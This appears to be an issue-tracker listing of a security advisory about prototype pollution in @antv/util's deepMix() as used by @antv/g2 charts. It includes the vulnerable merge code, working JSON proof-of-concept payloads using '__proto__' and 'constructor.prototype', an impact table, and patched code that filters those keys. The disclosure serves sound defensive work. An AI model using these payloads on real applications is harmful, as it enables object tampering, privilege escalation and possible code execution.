Prototype Pollution via @antv/util deepMix() — affects @antv/g2 chart configuration
- Dominant language
- TypeScript
- Stars
- 12.6k
- Forks
- 1.7k
- PR merge metrics
- No merged PRs in 30d
Description
# Prototype Pollution in `@antv/g2` via `@antv/util` deepMix()
## Summary
`@antv/g2` (<= 5.4.8) is vulnerable to **Prototype Pollution** through its dependency `@antv/util`'s `deepMix()` function, which is used extensively throughout the codebase (78+ source files) to merge chart options and configurations.
- **CWE**: [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) — Improperly Controlled Modification of Object Prototype Attributes
- **Severity**: Critical (CVSS 9.8)
- **Weekly Downloads**: ~248,000 (`@antv/g2`) / ~651,000 (`@antv/util`)
- **npm**: https://www.npmjs.com/package/@antv/g2
---
## Root Cause
`@antv/util`'s `deepMix()` (`lib/lodash/deep-mix.js`) performs recursive deep merge without filtering `__proto__`, `constructor`, or `prototype` keys:
```javascript
function _deepMix(dist, src, ...) {
for (var key in src) {
if (hasOwn(src, key)) { // ← passes for JSON.parse'd __proto__
var value = src[key];
if (isPlainObject(value)) {
if (isPlainObject(dist[key])) {
// Recurse INTO dist[key]
_deepMix(dist[key], value); // ← when key="__proto__", dist[key] = Object.prototype
} else {
dist[key] = _deepMix({}, value);
}
} else {
dist[key] = value;
}
}
}
}
```
**No `__proto__` key filtering exists anywhere in this function.**
---
## Why This Is Vulnerable — Step by Step
```
1. Attacker input: JSON.parse('{"__proto__":{"polluted":"yes"}}')
→ "__proto__" is an OWN ENUMERABLE property on the parsed object
→ hasOwn(src, "__proto__") returns TRUE
2. isPlainObject(src["__proto__"]) → TRUE (it's {polluted:"yes"})
3. dist["__proto__"] resolves to Object.prototype (via the accessor on plain {})
→ isPlainObject(Object.prototype) → TRUE
(because Object.getPrototypeOf(Object.prototype) === null,
and the function treats null-prototype objects as plain objects)
4. Recursive call: _deepMix(Object.prototype, {"polluted":"yes"})
→ Object.prototype["polluted"] = "yes"
→ POLLUTION COMPLETE
5. Every {} object in the Node.js process now has .polluted === "yes"
```
### Why `hasOwn` doesn't help
`hasOwn(src, "__proto__")` returns `true` because `JSON.parse` creates `__proto__` as a **regular own enumerable property**, not the prototype accessor. This is standard V8/Node.js behavior.
### Why `isPlainObject` doesn't help
`isPlainObject(Object.prototype)` returns `true` because the check finds that `Object.getPrototypeOf(Object.prototype) === null`, which matches its definition of "plain object". This means the guard never resets `dist["__proto__"]` to a fresh `{}`, and the code descends directly into `Object.prototype`.
---
## How @antv/g2 Is Affected
`@antv/g2` imports and calls `deepMix` in **78+ source files** for merging:
- **Chart options**: `new Chart(deepMix({}, defaults, userOptions))`
- **Mark configuration**: mark options merged via `deepMix`
- **Interaction config**: interaction options merged via `deepMix`
- **Transform options**: data transform settings merged via `deepMix`
- **Theme config**: theme objects merged via `deepMix`
Any code path that accepts external JSON and passes it to chart configuration is exploitable:
```javascript
const { Chart } = require('@antv/g2');
// Attacker-controlled chart config (e.g., from API response, user input)
const maliciousConfig = JSON.parse('{"__proto__":{"polluted":"yes"}}');
// This triggers deepMix internally
const chart = new Chart({
container: 'chart',
...maliciousConfig,
});
// All objects in the process are now polluted
console.log({}.polluted); // "yes"
```
---
## Proof of Concept
```javascript
const { deepMix } = require('@antv/util');
// Before
console.log({}.polluted); // undefined
// Pollute via deepMix
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMix({}, payload);
// After — ALL objects are polluted globally
const obj = {};
console.log(obj.polluted); // "yes"
console.log(new Object().polluted); // "yes"
// Also works via constructor.prototype path
deepMix({}, JSON.parse('{"constructor":{"prototype":{"hacked":"true"}}}'));
console.log({}.hacked); // "true"
```
---
## Impact
Successful prototype pollution via chart configuration enables:
| Attack | Mechanism |
|---|---|
| **Remote Code Execution** | Pollute `shell`, `env`, or template engine options → `child_process.exec` |
| **Authentication Bypass** | Inject `isAdmin: true`, `role: "admin"` into user/session objects |
| **Denial of Service** | Override `toString`, `valueOf`, `hasOwnProperty` → crash all object operations |
| **SQL Injection** | Pollute query builder parameters (`$where`, `$gt`) |
| **SSRF** | Inject `hostname`, `port`, `protocol` into HTTP client configs |
| **XSS** | Inject HTML/JS via polluted template variables |
| **Path Traversal** | Pollute `path`, `basedir` in file system operations |
| **CORS Bypass** | Inject `Access-Control-Allow-Origin` via polluted header configs |
---
## Remediation
### Option 1: Fix in @antv/util (recommended — fixes all dependents)
Add key filtering in `deepMix`:
```javascript
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function _deepMix(dist, src, ...) {
for (var key in src) {
if (BLOCKED.has(key)) continue; // ← ADD THIS
if (hasOwn(src, key)) {
// ... rest of logic
}
}
}
```
### Option 2: Fix in @antv/g2 (workaround)
Sanitize user input before passing to chart constructors:
```javascript
function sanitize(obj) {
if (!obj || typeof obj !== 'object') return obj;
const clean = {};
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
clean[key] = typeof obj[key] === 'object' ? sanitize(obj[key]) : obj[key];
}
return clean;
}
```
## References
- [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes](https://cwe.mitre.org/data/definitions/1321.html)
- [OWASP Prototype Pollution](https://owasp.org/www-project-web-security-testing-guide/)
- https://www.npmjs.com/package/@antv/g2
- https://www.npmjs.com/package/@antv/util
Contributor guide
Research direction
Start by inspecting @antv/util's lib/lodash/deep-mix.js and run the supplied JSON.parse/deepMix proof of concept. Trace the G2 configuration entry points that use deepMix, then verify that the reported prototype keys no longer mutate global prototypes while normal chart-option merging still works.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, typescript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 45/100